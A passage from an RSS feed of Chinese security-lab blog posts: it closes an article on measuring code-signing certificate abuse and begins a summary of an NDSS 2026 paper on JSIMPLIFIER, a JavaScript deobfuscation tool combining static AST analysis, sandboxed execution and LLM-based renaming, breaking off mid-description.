bold;">五、总结</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">代码签名是验证发布者身份并确保软件完整性的重要机制。然而，我们的研究发现代码签名滥用已经成为了软件生态的重大安全威胁之一。我们对现实世界的代码签名滥用生态系统进行了大规模测量研究，开发了一种针对证书滥用类型的细粒度检测分类方法，获得了迄今为止最大的滥用证书标记数据集（43,286 个证书）。利用该数据集，我们对代码签名生态系统与攻击者行为进行了全面而深入的分析，揭示了攻击者一系列的代码签名滥用策略。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">我们认为造成代码签名滥用持续泛滥的安全缺陷主要来自于 CA 端，包括颁发过程缺乏标准化、消极的滥用治理等。我们建议 CA 增强证书颁发与撤销的透明度（比如建立 CT）、主动监测野外滥用行为、为证书主题字段建立统一标准。同时，我们也希望 Windows 做出相应调整以缓解“幽灵证书”的影响。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">最后，本文构建的代码签名滥用数据集已开源发布，期待能为后续研究工作提供参考。我们希望安全社区能够给予代码签名领域更多关注，以更好地维护健康的软件生态。感谢您的阅读！</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: left;"><span leaf="">论文&amp;项目开源地址：<a href="https://github.com/XingTuLab/Code_Signing_Abuse_Dataset" target="_blank">https://github.com/XingTuLab/Code_Signing_Abuse_Dataset</a></span></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="Calibri" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8ee66b66&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489016%26idx%3D1%26sn%3D0e14a2da0f4d916c8759c197335bd855">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Jan 2026 13:10:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】从混乱到清晰：面向安全分析的综合性JavaScript反混淆</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488994&amp;idx=1&amp;sn=dfa76d25c322e4446ca422f32f18cb10</link>
      <description>奇安信星图实验室与北邮团队在NDSS 2026发表JavaScript反混淆论文，系统归纳20种混淆技术，提出融合静态、动态与LLM的分析方法。这是继CCS 2024、DSN 2022后团队在脚本反混淆安全领域的又一学术成果。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-13 14:55</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c80e5138&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuHDybPypyZHF5KCZyR5M567w73uz9BGR8wkP8FcADVAmBl5JElLBLAg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>奇安信星图实验室与北邮团队在NDSS 2026发表JavaScript反混淆论文，系统归纳20种混淆技术，提出融合静态、动态与LLM的分析方法。这是继CCS 2024、DSN 2022后团队在脚本反混淆安全领域的又一学术成果。</p>
  <h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">一、当恶意代码穿上”隐身衣”：JavaScript混淆的现实威胁</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">打开一个可疑的JavaScript文件，你可能会看到这样的代码：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005338" data-ratio="0.37222222222222223" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fa023184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tu2EU1ZfJEIyuX8MUZptNu4agXy64JcZeOhAoSz0TpjJJtQNRUIENKaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这不是乱码，而是攻击者精心设计的”隐身衣”——JavaScript代码混淆。这段看似天书般的代码，实际上可能隐藏着窃取用户数据、植入后门或发起网络攻击的恶意逻辑。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JavaScript作为互联网前端和客户端脚本的核心语言，在网页及各类网络应用中被广泛使用，这也使其成为了攻击者的首选目标。攻击者频繁利用JavaScript的动态特性，通过多层、多样化的混淆技术隐藏恶意代码，极大增加了安全分析的难度。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005336" data-ratio="0.31296296296296294" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=81963790&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuYwkJcKiadMdkClyO2GlJePJHFH6Sc2qDOxyVAicWGFjiaqFK3ekfqE2Nw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">面对这一日益严峻的安全威胁，奇安信技术研究院星图实验室与北京邮电大学联合研究团队在NDSS 2026会议上发表了论文《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》。该论文由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488045&amp;idx=1&amp;sn=3756f3c5b8ff66af7b97e0d74a2f6a93&amp;scene=21#wechat_redirect" textvalue="PowerPeeler (CCS 2024)" data-itemshowtype="0" linktype="text" data-linktype="2">PowerPeeler (CCS 2024)</a>和<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247486026&amp;idx=1&amp;sn=6146d8557d677e890b7100f0cf9ab866&amp;scene=21#wechat_redirect" textvalue="Invoke-Deobfuscation (DSN 2022)" data-itemshowtype="0" linktype="text" data-linktype="2">Invoke-Deobfuscation (DSN 2022)</a>之后的又一项脚本反混淆工作。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过系统性文献调研和样本分析，研究团队将JavaScript混淆技术归纳为四大类共20种技术：词法级混淆（变量重命名、间接属性访问等5种）、语法级混淆（表达式转函数、特殊编码等6种）、语义级混淆（字符串数组、控制流平坦化等7种）和多层混淆（OB混淆、AI辅助混淆2种）。针对这些复杂化的混淆趋势，研究开发的综合性反混淆工具JSIMPLIFIER能够自动破解各种混淆技术，将晦涩的恶意代码还原为安全分析师能够快速理解的清晰形式。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">二、现有反混淆工具的三重困境</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前的JavaScript反混淆工具面临着三个核心挑战，这些挑战严重限制了它们在实际安全分析中的应用效果。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">输入处理的脆弱性：</span></strong><span leaf=""> 现有工具在遇到不同语法、混合编码、打包器包装等”不规范”输入时经常直接崩溃。真实世界的恶意代码往往包含这些问题，导致工具连分析机会都没有。</span><span leaf=""><br/></span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">分析策略的单一性：</span></strong><span leaf=""> 静态分析工具无法处理运行时依赖的混淆（如动态代码生成），动态分析工具又难以应对大规模样本和安全风险。更关键的是，现有工具通常只针对特定混淆模式，缺乏对多层混淆的综合支持。以JSFireTruck恶意软件为例，这个一个月内感染26.9万网页的攻击使用了复杂的多层混淆，现有工具要么无法处理，要么只能部分解码。</span><span leaf=""><br/></span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">输出可读性的缺失：</span></strong><span leaf=""> 即使成功反混淆，输出代码仍充斥着</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_0x4f2a</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_0x1b3c</span></code><span leaf="">等这样的无意义标识符，安全分析师需要花费大量时间才能理解代码逻辑，严重影响威胁响应效率。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三、JSIMPLIFIER的创新设计</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对以上挑战，我们提出了JSIMPLIFIER，一款集代码预处理、静态抽象语法树分析、动态执行跟踪和大语言模型（LLM）智能变量重命名与代码美化于一体的综合性反混淆工具。JSIMPLIFIER采用三阶段流水线架构，每个阶段专门解决一类核心问题，形成了从”输入修复”到”逻辑还原”再到”可读性提升”的完整处理链条。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3074074074074074" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005335" src="https://wechat2rss.xlab.app/img-proxy/?k=b00b26c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuK7vBH7yWYGPxAib0MDyXvBiceu2MLiaDSth2REKyEE9J7EOxUVvOyyiciaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">预处理器：让”坏代码”变”好代码”（Preprocessor）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">预处理器是整个系统的基石，负责将各种”问题代码”标准化为可分析的格式。它首先进行代码有效性检查，使用容错性强的Meriyah解析器，即使面对不同灵活语法或不完整的代码也能生成完整的抽象语法树（AST）。接着进行词法清理，系统性地处理字符编码冲突，比如将过时的八进制转义序列（如\302）转换为标准的十六进制格式（如\xC2），并重建被分割的多字节UTF-8字符。在语义兼容化阶段，系统将遗留的JavaScript构造替换为跨平台等价物，确保在现代JavaScript环境中的兼容性。最后通过结构优化，利用AST作用域链遍历解决声明冲突，将代码重构为严格模式兼容的形式。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">反混淆器：静态与动态的完美协作（Deobfuscator）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">反混淆器采用混合分析设计，巧妙结合静态AST分析和受控动态执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">增强的静态AST分析</span></strong><span leaf=""> 方面，JSIMPLIFIER配备强化表达式求值引擎，专门处理混淆代码中的复杂构造：对于</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">LogicalExpressions</span></code><span leaf="">，实现正确的短路求值处理嵌套的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">&amp;&amp;</span></code><span leaf="">和</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">||</span></code><span leaf="">链（如</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">False &amp;&amp; anything</span></code><span leaf="">直接返回False）；对于ES6解构赋值如</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">[a, b, c] = [getValue(), obj.prop, func.call(this)]</span></code><span leaf="">，JSIMPLIFIER扩展</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">AssignmentExpression</span></code><span leaf="">处理，解析左侧模式结构并递归遍历嵌套数组模式，将每个元素位置映射到对应的右侧值；对于</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">UnaryExpressions</span></code><span leaf="">中的环境检测代码如</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">typeof window !== &#39;undefined&#39;</span></code><span leaf="">，JSIMPLIFIER维护</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">excludedNames</span></code><span leaf="">白名单（包含</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">window、document、navigator</span></code><span leaf="">等关键全局变量），避免静态求值破坏环境特定的代码路径。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">受控动态执行监控</span></strong><span leaf=""> 方面，JSIMPLIFIER首先进行预执行风险评估，扫描危险关键字组合（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">push、shift、eval、await</span></code><span leaf="">）识别可能导致无限循环或递归死锁的代码模式，并通过函数依赖映射追踪混淆函数间的调用关系。然后使用Node.js的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">vm.runInNewContext</span></code><span 